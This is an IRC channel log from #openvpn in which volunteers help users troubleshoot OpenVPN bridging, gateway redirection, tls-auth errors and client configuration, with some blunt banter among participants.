17:10 -!- mode/#openvpn [-b $a:gingakozaku$##fix_your_connection] by krzee
17:10 < Klownicle> the up.sh adds it
17:10 < pekster> Ah, k
17:11 -!- mode/#openvpn [-bbb EasterBunny!*@* lol!*@* lol!*@*] by krzee
17:11 < pekster> You might be better off using an explicitly named tap device then since 'tap0' will be created dynamically if you use 'dev tap' but that's not a big deal if you don't run other tap VPNs
17:12 < Klownicle> is there a way I can tell if the tap0 was brigded sucessfully to the br0?
17:12 < pekster> Sure, check `brctl show`
17:12 < Klownicle> Im not entirely linux friendly so by all means :-p
17:12 < pekster> And check `ip a` to make sure the bridge and all members are 'up'
17:12 < Klownicle> ok
17:12 < Klownicle> I don't see tap0 on the bridge
17:12 < pekster> Gotta fix that
17:13 < pekster> That's like having an Ethernet cable unplugged, and is very much why your clients aren't sending traffic anywhere else
17:13 < pekster> Something as simple as `brctl addif br0 $dev` in your --up script should suffice
17:13 < Klownicle> the /etc/network/interfaces eth0 up links arn't firing obviously?
17:14 < pekster> huh?
17:14 < pekster> No, eth0 has to be on your bridge unless you haven't even got LAN connectivity between your server and gateway
17:14 < pekster> It's the bit about adding tap0 as a bridge member to br0 that's the issue
17:15 < pekster> See my brctl syntax above for doing it, or manage it however debian exposes tap devices (last I checked they didn't have a nice easy way of doing it like the BSD's or Gentoo Linux did)
17:15 < pekster> Maybe debian's grown up since I wrote them off as ifconfig-loving outdated devs :P
17:17 -!- Klownicle [~Klownicle@pool-71-99-207-173.tampfl.fios.verizon.net] has quit [Disconnected by services]
17:17 -!- Klownicle [~klownicle@pool-71-99-207-173.tampfl.fios.verizon.net] has joined #openvpn
17:17 < Klownicle> Back did I miss anything?
17:17 < Klownicle> Umm my /etc/network/interfaces is supposed to br0 to tap0
17:18 < pekster> Not in the bit you pasted
17:18 < pekster> There's no reference at all to tap0
17:18 < pekster> And if you did it right, br0 would show it in `brctl show`
17:18 < Klownicle> under the iface inet eth0 manual there is?
17:18 < pekster> No. Where in your earlier paste does it show "tap0" anywhere in the interfaces file?
17:19 < pekster> AFAIK you can't do that in debian's interfaces(5) syntax
17:19 < pekster> (Try Gentoo -- they do tun/tap right ;)
17:19 < Klownicle> I followed a guide online (famous last words)... so how shall I do this then?
17:19 < pekster> Add it to the bridge. I even gave you copy/pastable syntax to do it
17:19 < pekster> 17:13:40 < pekster> Something as simple as `brctl addif br0 $dev` in your --up script should suffice
17:21 < Klownicle> Whats the $dev represent?
17:22 < rob0> the name of the interface you are adding to the bridge
17:22 < pekster> The device openvpn is using; if you use that, you don't even need to use "tap0" in your config -- just use 'dev tap' and let openvpn pick one
17:23 < pekster> Explicitly naming a device is really only useful when you have a named device, like if you did `ip tuntap add dev tap_lan mode tap` in your network startup scripts, then you could tell openvpn to use --dev tap_lan in the config
17:23 < Klownicle> how does the up script get executed?
17:23 < Klownicle> automatically on system boot?
17:23 < pekster> There's an entire section in the manpage called 'SCRIPTING AND ENVIRONMENTAL VARIABLES'
17:24 < pekster> --up is noted there, and in its own section in the manpage that should explain that; any of the script hooks calls an external executable process, which can be a one-line bash script in your case (well, 2 w/ the shebang)
17:25 < Klownicle> So all the lines under iface inet eth0 manual are useless then correct?
17:25 < pekster> Nope, you need that to set up eth0
17:25 < pekster> With bridging, *you* are responsible for setting up your bridge
17:25 < pekster> OpenVPN doesn't even come into play until it brings up the virtual tap adapter
17:26 < pekster> (this is why we do not recommend bridging unless people actually need it, since it's more complicated and distro/OS specific)
17:28 < Klownicle> well...
17:28 < hjohnson> I played with bridging for a while so I could hit my iTunes library over the 'net.
17:28 < Klownicle> adding it to the bridge worked..
17:28 < Klownicle> derp
17:28 < Klownicle> lol
17:29 < pekster> It's the VPN-version of "is it plugged in", just a little more complicated. Think of your bridge like a virtual network switch (since that's basically what it is)
17:29 < pekster> When it was just eth0, you had a "one port switch"
17:29 < Klownicle> Well not sure if its "working" at this time yet, i go to browse to a PC and it says its unaccessible.
17:30 < Klownicle> I can ping and resolve thoe.
17:30 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
17:30 < Klownicle> And internet traffic isn't routed through vpn yet
17:30 < pekster> If you're expecting NBNS to work you might have Windows-centric issues. I'd suggest using DNS instead of using the microsoft-centric WINS crap
17:31 < Klownicle> Pekster, it all worked as expected with the OpenVPN AS.  So I would have imaged it would likewise this way?
17:31 < Klownicle> It was as you say if I was litterly just plugged into the network
17:31 < pekster> If you're attempting to redirect your gateway, that'll be a separate issue. Follow the !redirect steps, and probably add --route-gateway 10.20.20.1 in your case
17:32 < pekster> I don't deal with AS at all, so I haven't a clue
17:32 < Klownicle> would that be a push command for the server conf?
17:32 < pekster> NBNS isn't ever as simple as you'd think (like with most MS products)
17:32 < pekster> Yea, you'd need to push both --route-gateway and --redirect
17:32 < pekster> !redirect
17:32 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
17:32 <@vpnHelper> http://ircpimps.org/redirect.png
17:33 < pekster> In that case, the forwarding/NAT steps would be done by your LAN router, not the server itself (and presuambly already set if your LAN is working)
17:33 < pekster> You can't just use your LAN DHCP sever either since then the default route between the client's VPN adapter and it's real gateway will fight for control of the 0/0 route
17:34 < pekster> So you need to use the 'def1' flag as described by the bot and in the manpage
17:34 < Klownicle> Yeah openvpn is taking care of the dhcp part I seperated a range.
17:35 < pekster> Right, that avoids the gateway problem, provided you use def1 if you intend to redirect traffic
17:35 < Klownicle> At this point other than the internet traffic not routing
17:35 < Klownicle> the Ceton Tuner Card is accessible over the vpn.
17:35 -!- gardar [~gardar@gardar.net] has joined #openvpn
17:35 < Klownicle> I don't know if it works but the diagnostic utility sees it.
17:36 < Klownicle> Which in previous non working setups it wouldn't so I imagine that part is ok.
17:36 < Klownicle> so I will add push "redirect-gateway def1" to the server.conf?
17:37 < pekster> Almost; you need to push the --route-gateway option too, otherwise it'll attempt to route client traffic through the VPN server
17:37 < Klownicle> push "route-gateway" <-- like that ?
17:37 < pekster> (Actually, it might just complain if you leave it off. I don't usually route over taps, so I can't say off hand)
17:38 < pekster> Nope
17:38 < pekster> Manpage says, "--route-gateway gw|'dhcp'   Specify a default gateway gw for use with --route.
17:39 < pekster> You need to tell it *where* to route the traffic (remember, there's no gateway being passed to the client: you need to define that)
17:39 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
17:40 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 240 seconds]
17:41 < Klownicle> Whats the |'dhcp' part for?
17:41 < Klownicle> I don't see that on the man.
17:41 < pekster> Very next sentence :
17:41 < pekster> :P
17:41 < Klownicle> Maybe im looking at a different manpage?
17:41 < pekster> Apparently it tries to extract it from the LAN's DHCP offers. I wouldn't mess with that since you know it in advance
17:42 < pekster> Could be a newer feature too: I'm on the latest official release which is 2.3.1. That manpage is here:
17:42 < pekster> !man
17:42 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
17:43 < Klownicle> So what am I putting for "gw"?  or is that just that?
17:43 < Klownicle> Maybe im being scatter brained lol
17:43 < pekster> Right. Thought that'd be clear when "specify a default gateway for use"
17:43 < pekster> So, where do you want the client to send traffic?
17:43 < Klownicle> So 10.20.20.1 ?
17:44 < pekster> Right, unless you have another router on your LAN you intend to use
17:44 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 252 seconds]
17:44 < Klownicle> let me see what version of openvpn im using I just installed from apt-get to see if the dhcp option I should have
17:45 < Klownicle> 2.2.1
17:45 < pekster> debian is well-known for not having the most up-to-date stuff, even in their 'unstable' repo (which translates to "several versions out of date upstream".) In this case it's probably fine to be running a 2.2.x
17:46 < hjohnson> i had to backport the RADIUS plugin from experimental
17:46 < hjohnson> but it works pretty well
17:47 < Klownicle> have to run for now, thanks for all the help pekster
17:47 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
17:47 < pekster> hjohnson: I found it easier to just write a tiny --auth-user-pass-verify script that plugs into radiusclient, but that's another option
17:48 < pekster> I prefer being able to edit runtime config like that without requiring a recompile
17:48 < pekster> (and I've done configs for jobs before where special handling of the data was required, like passing off to different RADIUS authenticators depending on the domain the user was connecting in with)
17:49 < pekster> Stuff like that is just handled better in some scripting lang
17:49 < hjohnson> well, that's more or less the status with the radius plugin
17:49 < hjohnson> ahh, yeah
17:49 < hjohnson> I just have a single radius authentication system
17:49 < hjohnson> (which is a problem I should have two, but I digress)
17:54 < Klownicle> pekster could be wrong but adding default gateway seems to have broke communication
18:00 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
18:02 < Klownicle> great now the 10.20.20.1 isn't pinging...
18:02 < Klownicle> even if i revert those settings
18:02 < Klownicle> bah
18:05 < pekster> Did you actually create an --up script? If you did the bridge work by hand, you need to continue doing it by hand every time
18:05 < pekster> Setting it up correctly is wiser
18:08 < Klownicle> no i did the bridge by hand to verify its working before i start to make scripts
18:09 < Klownicle> out with the fam so going to have to stop for now. ol
18:09 < Klownicle> lol*
18:10 < Klownicle> i think all i did was restart openvpn on both client and server and cnt ping the addr anymore
18:10 < Klownicle> i suppose ill be back later this evening then :-/
18:11 < pekster> Right. restart -> stop + start -> interfaces dynamically created interface goes away
18:11 < pekster> It's not on your birdge anymore
18:11 < pekster> manual control == *you* need to do it. Manually, every time.
18:13 -!- master_of_master [~master_of@p4FF24139.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
18:26 -!- master_of_master [~master_of@p4FF24B2E.dip0.t-ipconnect.de] has joined #openvpn
18:40 < Klownicle> i  hecked the bridgr and it was there once i readded it.  (im still at dinner ) lulz
18:40 < Klownicle> but still isnt working.  i dont need any iptable modifications and such do i?  its a stock debian os fresh off thr block.
18:41 < Klownicle> gonna be awhile before i can play with it again. pisses me off it was working but now its not.
18:55 < EugeneKay> !whybridge
18:55 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
18:59 < rob0> EugeneKay, we went over that somewhat. I think bridging is really needed (or wanted, at least.)
18:59 < EugeneKay> If it's wanted, then PEBKAC
18:59 < EugeneKay> If it's needed, then the application is retarded and should be deleted without prejudice.
19:00 < EugeneKay> I think that covers all possible use cases for bridging
19:01 < Klownicle> its not a bad application when its not a application to begin .  its a network device that uses broadcast traffic.  cant get around that.
19:02 < EugeneKay> Sure you can. Throw it out.
19:02  * Klownicle doesnt feed the troll anymore
19:02 < EugeneKay> You're confusing trolling with the voice of sanity
19:06 < hjohnson> there are certain technologies that are explicitly designed not to be rotued (mDNS for example) sometimes you want access to that mDNS remotely
19:06 < hjohnson> hence having to deal with bridging.
19:06 < EugeneKay> mDNS is a shitpile
19:06 < Klownicle> nooo dont feed the troll!
19:06 < hjohnson> EugeneKay: that may be, but it is what it is.
19:11 < rob0> I don't get why any site with an admin capable of setting up a VPN would need mDNS/zeroconf.
19:12 < hjohnson> rob0: if I want to hit my iTunes home sharing from on the road comes to mind.
19:12 <@krzee> problem is many setups do not have an admin cabapable of setting up the vpn which they run
19:12 < rob0> krzee, :)
19:12 <@krzee> as we've seen from the countless people we have to say !walkthrough to
19:12 <@krzee> :D
19:12 < hjohnson> (or DLNA, take your pick
19:13 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
19:13 < EugeneKay> Hah, iTunes
19:13  * EugeneKay stifles a laughing fit
19:13 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
19:14 < hjohnson> it's a convenient way to organize my collection of music, plays nicely with my iDevices... 'nuff said.
19:14 < EugeneKay> Yup. Plenty enough. :-p
19:34 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 248 seconds]
19:35 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
19:36 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Read error: Operation timed out]
19:36 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
19:42 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 256 seconds]
19:42 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
19:50 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 256 seconds]
19:50 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
19:52 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
20:01 -!- newbie|2 [~tjz@67.228.240.11-static.reverse.softlayer.com] has quit [Quit: quit irc]
20:01 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
20:20 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
20:36 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
20:36 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
20:48 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Ping timeout: 248 seconds]
20:51 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
20:58 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
21:03 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 264 seconds]
21:13 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Quit: Leaving]
21:20 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
21:33 -!- deegen [~deegen@S01060023bee90320.gv.shawcable.net] has left #openvpn []
21:35 < midacts> Hello all, is it possible to change the config directory that OpenVPN uses?   The reason i would like to do this is so somebody who actually knows how openvpn works, wont be able to browse to the default config directory and grab my ssl certs and keys
21:40 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 240 seconds]
21:51 -!- chamunks [~chamunks@li550-51.members.linode.com] has quit [Read error: Connection reset by peer]
21:51 -!- chamunks [~chamunks@206-248-172-199.dsl.teksavvy.com] has joined #openvpn
21:51 -!- Devastator [~devas@186.214.14.102] has quit [Changing host]
21:51 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
21:56 < Poster> midacts: you can change the paths to the keys and certs, but you should really be securing them with file permissions instead of just moving them
22:04 < midacts> Poster, thank you for the reply. Basically lock down the config folder's permissions. That works for me. i was basically wondering for places like work where there are local admins who can get past things like that
22:05 < midacts> domain admins**
22:06 < Poster> if you can't trust your domain admins, you've got bigger problems
22:06 < Poster> can you deny login to this given host?
22:08 < pekster> midacts: There is no protection at the filesystem level you can do that will prevent someone with root/admin access, or often even just physical access, from obtaining files. FS level encryption won't help as the FS is decrypted while in use
22:09 < pekster> midacts: This said, if you keep the private key encrypted on-disk, it must be decrypted on each use interactively, making a "break" of such a setup harder as the rogue admin needs both the file and your password (keylogged or such)
22:09 < pekster> So, if you don't trust a system, don't store critical security components on it or use them through that system
22:10 < midacts> gotcha   :)   thanks for your input. i just dont trust anyone is all, not that any of them are untrustworthy. until i can figure out how to make it two facter authentication (ssl + password) ill just hide them in a truecrypt drive until i need to use them
22:11 < midacts> its just really nice to get advice from someone else on the subject
22:11 < midacts> 'i just want to do things right the first time, and make my home network as secure as possible
22:27 -!- vook [~vook@173.254.244.110] has joined #openvpn
22:30 < vook> I'm having some trouble. My configuration works flawlessly and effortlessly on Tunnelblick and openvpn for Android, but for both Linux and Windows I'm having errors. The server is reporting: "TLS Error: incoming packet authentication failed from" and "Authenticate/Decrypt packet error: packet HMAC authentication failed". Any ideas ?
22:36 <@krzee> hmac failed means tls-auth file issue
22:36 <@krzee> fix that, try again
22:41 < vook> ya ok. thanks.
22:41 -!- vook [~vook@173.254.244.110] has quit [Quit: leaving]
22:50 -!- MrPockets [~MevinKitt@unaffiliated/mrpockets] has quit [Ping timeout: 276 seconds]
22:50 -!- MrPockets [~MevinKitt@72.129.142.124] has joined #openvpn
22:51 -!- MrPockets [~MevinKitt@72.129.142.124] has quit [Changing host]
22:51 -!- MrPockets [~MevinKitt@unaffiliated/mrpockets] has joined #openvpn
23:19 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
23:21 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 240 seconds]
23:21 -!- rOOb [~zero@unaffiliated/devicezer0] has joined #openvpn
23:22 -!- xpeed [~unknown@unaffiliated/xpeed] has quit [Quit: Saliendo]
23:24 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
23:24 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
23:26 < rOOb> hello all. I just setup openvpn on my home server and I'm able to connect to it, but when connected to it I cannot ping google or my home router ip(192.168.1.1). Or my desktop ip. I can ping the home server ip fine(192.168.1.10). here is the openvpn config file and 3 iptable rules I found while googling around http://pastebin.com/hau1L50n
23:33 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
23:37 -!- rOOb [~zero@unaffiliated/devicezer0] has quit []
23:38 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
23:39 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Client Quit]
23:42 -!- baobeiiiii [~baobeiiii@192.73.244.224] has joined #openvpn
23:44 < baobeiiiii> hi
23:44 < baobeiiiii> my vpn connection has been really unstable lately, pages failing to load etc
23:44 < baobeiiiii> i'm running ping 10.8.0.1 -t  in windows cmd and i keep getting frequent 'request timed out' messages
23:45 < baobeiiiii> would that normally just be that the general internet is slow, or is there anything I can do about it
23:45 < baobeiiiii> i do have fibre internet
23:45 <@krzee> its instability in the fibre connection or the vpn connection, or something in between
23:45 <@krzee> troubleshoot it
23:46 <@krzee> you may like mtr
23:47 < baobeiiiii> i've heard about that, the manual recommends not to change it unless you know what you're doing
23:47 <@krzee> heard about what?
23:47 <@krzee> i really meant mtr, not mtu
23:48 < baobeiiiii> thought typo
23:48 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
23:48 < baobeiiiii> i dont know what mtr is
23:48 <@krzee> MTR(8)                                mtr                               MTR(8)
23:48 <@krzee> NAME
23:48 <@krzee>        mtr - a network diagnostic tool
23:48 <@krzee> DESCRIPTION
23:48 <@krzee>        mtr combines the functionality of the traceroute and ping programs in a
23:48 <@krzee>        single network diagnostic tool.
23:48 -!- Klownicle [~klownicle@pool-71-99-207-173.tampfl.fios.verizon.net] has quit [Quit: Whaaa...?]
23:54 -!- baobeiiiii_ [~baobeiiii@180.154.233.155] has joined #openvpn
23:56 -!- baobeiiiii [~baobeiiii@192.73.244.224] has quit [Ping timeout: 256 seconds]
--- Day changed Tue May 28 2013
00:05 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
00:09 -!- Klownicle [~Klownicle@pool-71-99-207-173.tampfl.fios.verizon.net] has joined #openvpn
00:09 < Klownicle> @pekster, still can't get that redirect traffic overvpn to work on the bridge.  I'm able to sucessfully ping internal network but once I connect to the vpn all "internet" traffic time outs.
00:17 <@krzee> !redirect
00:17 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
00:18 <@vpnHelper> http://ircpimps.org/redirect.png
00:18 <@krzee> see flowchart at #4
00:18 < EugeneKay> krzee, do you happen to own any Atom D525 / D510s?
00:18 <@krzee> nope
00:18 < Klownicle> Ipfrowarding isn't needed if its a bridge I was told and confirmed by pekster?
00:19 < EugeneKay> Don't bridge. Do not. Stop. Don't do it. STAHP.
00:19 <@krzee> oh bridging for internet redirecting!?
00:19 <@krzee> why??
00:19 < Klownicle> Im not brigding for internet redirecting, im bridgeing for broadcast traffic but I also want internet traffic routed over the bridge from vpn clients.
00:20 <@krzee> oh
00:20 <@krzee> *shrug*
00:20 < Klownicle> That flow chart isn't for bridging ;)
00:21 <@krzee> nope, i dont support bridges
00:21 < Klownicle> lol
00:21 < Klownicle> Its the thought that counts I suppose
00:21 < pekster> Klownicle: IP forwarding is always needed on the IP router. In a bridge, you can have a device that forwards L2 traffic that does not need IP forwarding as it is not forwarding packets
00:22 < Klownicle> The ip router in my case would be 10.20.20.1 correct?
00:23 < pekster> Right, the LAN's gateway
00:23 < pekster> A bridge in that case is just a "virtual really long Ethernet cable." Treat it as such as you configure it
00:23 < Klownicle> Yes
00:23 < EugeneKay> pekster: masochist.
00:23 < Klownicle> Then why isn't the traffic working over the bridge.  What can I provide you :-D
00:24 < pekster> Honestly, you might be better off running 2 VPNs: one to do your traffic redirection, and another for your foul device that is apparently unable to use IP packets
00:25 < Klownicle> considering this worked on the access server without two vpns' not really a solution imho. :-/
00:25 < pekster> Routing has the exact same requirements on a bridge (tap) as it does in tun. The difference is that openvpn won't magically work with --redirect-gateway like !redirect explains it: you explicitly need to define the proper --route-gateway (and the usual !def1 stuff applies here as much as it does to tun.)
00:25 < swiftkey> hello there
00:26 < swiftkey> any guides for the new openvpn 2.3?
00:26 <@krzee> swiftkey,
00:26 < swiftkey> i followed 2.2 but its not working
00:26 <@krzee> !goal
00:26 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
00:26 < pekster> swiftkey: !howto is the de-facto guide, and it effectively hasn't changed since 2.2
00:26 < Klownicle> Yeah i tried with that also pekster as recommend, but didn't see to help.  The one thing I noticed with route-gateway, was all the metric's matched equally.
00:26 < Klownicle> So my local Internet was 30, and the vpn was 30 also.
00:27 < swiftkey> everytime i run openvpn
00:27 < pekster> Metric is worthless in most situations on modern systems, so don't worry about it unless you're an expert doing policy routing with multiple uplinks
00:27 < swiftkey> i got disconnected from my shell
00:27 <@krzee> thats your goal?
00:27 <@krzee> weird goal
00:27 < pekster> Klownicle: Pastebin route info from !interfaces somewhere after your client is connected
00:27 < swiftkey> my goal is to access my server using openvpn
00:27 < swiftkey> like if i run a webserver
00:27 < pekster> !interface
00:28 <@vpnHelper> "interface" is (#1) paste interface configuration from both client and server, while being disconnected and when beeing connected. Be sure to also add the routing tables for both situations from client and from server or (#2) For Windows: iface: 'ipconfig /all' routing: 'route print' (add -4 or -6 for just IPv4 or v6) or (#3) For Unix: iface: 'ifconfig -a' routing: 'netstat -rn' or (#4) For Linux:
00:28 <@vpnHelper> iface: 'ip a' routing: 'ip r' (use ip -6 for IPv6 routes)
00:28 < Klownicle> sure thing, bare with me
00:28 <@krzee> swiftkey, then remove the redirect-gateway stuff and then connect to it via vpn ip after connecting to the vpn
00:28 < swiftkey> they will be able to access it
00:28 < swiftkey> but the problem is everytime i run openvpn i get disconnected in my shell
00:29 < swiftkey> ill install again
00:33 <@krzee> pastebin your configs without comments
00:33 <@krzee> !configs
00:33 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
00:34 < Klownicle> @pekster, http://pastebin.com/JR1WpDng
00:34 < Klownicle> There you go
00:34 <@krzee> ^ @ swiftkey
00:35 < Klownicle> Right now connected I can ping anything remote lan over the vpn, but internet addresses (google.com etc) resolve but do not respond.
00:37 < Klownicle> derp, just noticed i pasted the wrong info for the config lulz
00:37 -!- baobeiiiii_ [~baobeiiii@180.154.233.155] has quit [Quit: Leaving]
00:38 < pekster> Not really crucial, I only really cared about the routing table, which looks fine. Trace from the client to some external destination (8.8.8.8 is fine) and see where it gets lost
00:38 < pekster> Oh, wait a moment
00:38 < pekster> The route-gateway isn't right
00:38 < pekster> You need to fix that
00:39 < pekster> It's via your transparent VPN bridge, not via the LAN's gateway
00:39 < Klownicle> do you want to see the server.conf?
00:39 < pekster> Sure
00:39 < pekster> (and possibly a client log at verb 4 depending on the results of that)
00:39 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
00:40 < Klownicle> sure bare with me
00:43 < Klownicle> @pekster, http://pastebin.com/1t9ZRYYp
00:46 < pekster> Ah, okay. Add the 'nogw' flag to the --server-bridge directive (I'm not completely sure where it goes from the manpage, but try the end, or beginning if that fails.) If you can't do it with the addressing, you'll need to manually expand the directive without the gateway info
00:47 < pekster> That should fix everything up and give you a routed tap setup
00:48 < Klownicle> so, "server-bridge 10.20.20.22 255.255.255.0 10.20.20.244 10.20.20.254 nogw" ?
00:49 < Klownicle> A quick google for syntax of that option doesn't show but only "server-bridge nogw" usage.. :-/
00:49 < Klownicle> ill try it now tho
00:50 < Klownicle> Adding it at the end didn't work.
00:51 < pekster> A quick look at the source indicates it won't. You can try setting the IP to the router's IP (not the server's bridge IP) perhaps. Otherwise just expand it yourself
00:52 < Klownicle> What do you mean expand it myself?
00:53 < Klownicle> ok doing .1 instead of .22 their im getting a response now
00:53 < swiftkey> i followed this guid
00:53 < swiftkey> http://blog.smrhosting.com/centos-openvpn-server/
00:53 <@vpnHelper> Title: CentOS 5 & 6 OpenVPN Server Configuration Example - At SMRHostingSMR Hostings VPN Blog (at blog.smrhosting.com)
00:53 < pekster> Manpage details how to do that
00:53 < Klownicle> lets see what the public ip is.
00:53 < pekster> Guides suck
00:53 < pekster> Don't use guides
00:53 < swiftkey> but i cannot find the easy-rsa
00:53 < swiftkey> but how will i know if there will be no guides
00:53 < swiftkey> heh
00:53 < Klownicle> YES!
00:54 < pekster> You will use !howto
00:54  * Klownicle does the happy dance
00:54 < Klownicle> +1 on the guides suck.
00:54 < Klownicle> Its really a hunt and peck and learn from all the guides to get a result.
00:54 < Klownicle> Everything appears to work now pekster.
00:55 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Read error: Operation timed out]
00:55 < swiftkey> any good link that can follow through?
00:55 < swiftkey> im using centos 6
00:55 < swiftkey> but most of the howtos doesnt work after running openvpn
00:55 < swiftkey> i get disconnected from my openvpn server through ssh
00:57 < Klownicle> pekster why in the openvpn client log is the "route-gateway" command being recieved twice.  I see that was the issue, but the initial command was 10.20.20.1 but the second one appeared to override till we forced it in the bridge option.
00:57 < pekster> That's explained in the *exact* same spot I told you to look in the manpage a moment ago. I'm done explaining where to find it
00:58 < Klownicle> swiftkey, how many users do you plan on using with your setup?
00:58 < Klownicle> Lol, sorry pek didn't see that, I will recheck what you said.
01:03 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
01:13 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
01:19 < swiftkey> hello
01:19 < swiftkey> i have the config client
01:19 < swiftkey> remote 70.99.166.214 443
01:19 < swiftkey> this is the address of the server ?
01:39 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
01:39 -!- mode/#openvpn [+o mattock_afk] by ChanServ
01:39 -!- mattock_afk is now known as mattock
01:42 < swiftkey> hello
01:42 < swiftkey> http://pastie.org/7972509
01:42 < swiftkey> i get this error
01:42 <@krzee> omg you still never posted your configs
01:42 <@krzee> ?
01:43 <@krzee> that was only an hour ago
01:44 < swiftkey> http://pastie.org/7972514
01:44 < swiftkey> here it is
01:44 < swiftkey> yes i have to do something
01:46 <@krzee> did you actually LOOK at that config?
01:46 < swiftkey> any mysterious ways ?
01:46 < swiftkey> yes
01:46 <@krzee> look at the pastebin
01:46 < swiftkey> should i change the 10.8.0.0 to 192.168.0.122?
01:47 <@krzee> you should have newlines, i cant read anything
01:47 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 276 seconds]
01:47 <@krzee> click the pasteie link
01:47 <@krzee> its gibberish
01:47 <@krzee> it took you an hour to not paste your configs =/
01:47 <@krzee> try again
01:47 <@krzee> !configs
01:47 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
01:48 < swiftkey> yes my bad
01:48 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
01:49 < swiftkey> http://pastie.org/7972532
01:50 < swiftkey> http://pastie.org/7972533
01:50 < swiftkey> server and client
01:50 <@krzee> why are connecting to a server in the same lan?
01:50 < swiftkey> it cant?
01:50 <@krzee> it can, but why?
01:50 < swiftkey> just want to try
01:50 < swiftkey> before putting the external ip
01:51 <@krzee> ok, so now like i told you RIGHT when you said your problem
01:51 <@krzee> remove redirect-gateway
01:51 <@krzee> oh maybe i didnt
01:52 <@krzee> coulda sworn i did but i dont see it in the scroll
01:52 < swiftkey> erm
01:52 <@krzee> oh yes i did
01:52 < swiftkey> my .conf is in /etc/openvpn/easy-rsa/2.0
